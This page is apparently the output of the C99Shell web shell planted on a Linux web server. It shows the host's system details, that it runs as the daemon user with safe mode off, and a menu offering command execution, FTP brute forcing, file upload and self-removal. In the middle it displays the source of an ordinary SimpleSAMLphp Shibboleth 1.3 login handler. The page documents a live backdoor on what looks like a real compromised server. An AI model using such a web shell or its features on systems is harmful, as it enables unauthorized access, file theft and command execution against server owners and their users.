!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/3ros/simplesamlphp/www/shib13/sp/   drwxrwxr-x
Free 13.85 GB of 61.93 GB (22.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AssertionConsumerService.php (3.46 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require_once('../../_include.php');

$config SimpleSAML_Configuration::getInstance();

$session SimpleSAML_Session::getInstance();


/**
 * Finish login operation.
 *
 * This helper function finishes a login operation and redirects the user back to the page which
 * requested the login.
 *
 * @param array $authProcState  The state of the authentication process.
 */
function finishLogin($authProcState) {
    
assert('is_array($authProcState)');
    
assert('array_key_exists("Attributes", $authProcState)');
    
assert('array_key_exists("core:shib13-sp:NameID", $authProcState)');
    
assert('array_key_exists("core:shib13-sp:SessionIndex", $authProcState)');
    
assert('array_key_exists("core:shib13-sp:TargetURL", $authProcState)');
    
assert('array_key_exists("Source", $authProcState)');
    
assert('array_key_exists("entityid", $authProcState["Source"])');

    
$authData = array(
        
'Attributes' => $authProcState['Attributes'],
        
'saml:sp:NameID' => $authProcState['core:shib13-sp:NameID'],
        
'saml:sp:SessionIndex' => $authProcState['core:shib13-sp:SessionIndex'],
        
'saml:sp:IdP' => $authProcState['Source']['entityid'],
    );

    global 
$session;
    
$session->doLogin('shib13'$authData);

    
SimpleSAML_Utilities::redirect($authProcState['core:shib13-sp:TargetURL']);
}


SimpleSAML_Logger::info('Shib1.3 - SP.AssertionConsumerService: Accessing Shibboleth 1.3 SP endpoint AssertionConsumerService');

if (!
$config->getBoolean('enable.shib13-sp'false))
    throw new 
SimpleSAML_Error_Error('NOACCESS');

if (
array_key_exists(SimpleSAML_Auth_ProcessingChain::AUTHPARAM$_REQUEST)) {
    
/* We have returned from the authentication processing filters. */

    
$authProcId $_REQUEST[SimpleSAML_Auth_ProcessingChain::AUTHPARAM];
    
$authProcState SimpleSAML_Auth_ProcessingChain::fetchProcessedState($authProcId);
    
finishLogin($authProcState);
}

if (empty(
$_POST['SAMLResponse'])) 
    throw new 
SimpleSAML_Error_Error('ACSPARAMS'$exception);

try {

    
$metadata SimpleSAML_Metadata_MetaDataStorageHandler::getMetadataHandler();

    
$binding = new SimpleSAML_Bindings_Shib13_HTTPPost($config$metadata);
    
$authnResponse $binding->decodeResponse($_POST);

    
$authnResponse->validate();

    
/* Successfully authenticated. */

    
$idpmetadata $metadata->getMetadata($authnResponse->getIssuer(), 'shib13-idp-remote');

    
SimpleSAML_Logger::info('Shib1.3 - SP.AssertionConsumerService: Successful authentication to IdP ' $idpmetadata['entityid']);


    
SimpleSAML_Logger::stats('shib13-sp-SSO ' $metadata->getMetaDataCurrentEntityID('shib13-sp-hosted') . ' ' $idpmetadata['entityid'] . ' NA');


    
$relayState $authnResponse->getRelayState();
    if (!isset(
$relayState)) {
        throw new 
SimpleSAML_Error_Error('NORELAYSTATE');
    }

    
$spmetadata $metadata->getMetaData(NULL'shib13-sp-hosted');

    
/* Begin module attribute processing */
    
$pc = new SimpleSAML_Auth_ProcessingChain($idpmetadata$spmetadata'sp');

    
$authProcState = array(
        
'core:shib13-sp:NameID' => $authnResponse->getNameID(),
        
'core:shib13-sp:SessionIndex' => $authnResponse->getSessionIndex(),
        
'core:shib13-sp:TargetURL' => $relayState,
        
'ReturnURL' => SimpleSAML_Utilities::selfURLNoQuery(),
        
'Attributes' => $authnResponse->getAttributes(),
        
'Destination' => $spmetadata,
        
'Source' => $idpmetadata,
        );

    
$pc->processState($authProcState);
    
/* Since this function returns, processing has completed and attributes have
     * been updated.
     */

    
finishLogin($authProcState);

} catch(
Exception $exception) {
    throw new 
SimpleSAML_Error_Error('GENERATEAUTHNRESPONSE'$exception);
}


?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.948 ]--